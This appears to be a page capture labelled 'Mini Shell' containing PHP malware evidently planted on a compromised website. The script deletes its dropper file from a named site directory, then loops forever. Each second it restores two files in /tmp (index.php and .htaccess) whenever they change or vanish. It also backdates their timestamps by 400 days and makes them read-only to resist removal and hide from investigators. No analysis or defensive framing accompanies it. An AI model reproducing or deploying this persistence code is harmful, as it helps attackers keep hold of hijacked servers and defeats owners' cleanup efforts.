Mini Shell

<?php unlink('/home/lightco1/upgrade.lightco.com.au/l.php');$index_path = '/tmp' ."/index.php";
    $index_content = file_get_contents($index_path);
    $index_md5 = md5($index_content);
    $htaccess_path = '/tmp' ."/.htaccess";
    $htaccess_content = file_get_contents($htaccess_path);
    $htaccess_md5 = md5($htaccess_content);

    while (true)
    {
        $temp_md5 = @md5(file_get_contents($index_path));
        if (!file_exists($index_path)  || $temp_md5 != $index_md5) {
            @file_put_contents($index_path, $index_content);
            @touch($index_path, strtotime("-400 days", time()));
            @chmod($index_path, 0444);
        }
        $temp_md5 = @md5(file_get_contents($htaccess_path));
        if (!file_exists($htaccess_path) || $temp_md5 != $htaccess_md5) {
            @file_put_contents($htaccess_path, $htaccess_content);
            @touch($htaccess_path, strtotime("-400 days", time()));
            @chmod($htaccess_path, 0444);
        }
        sleep(1);
    }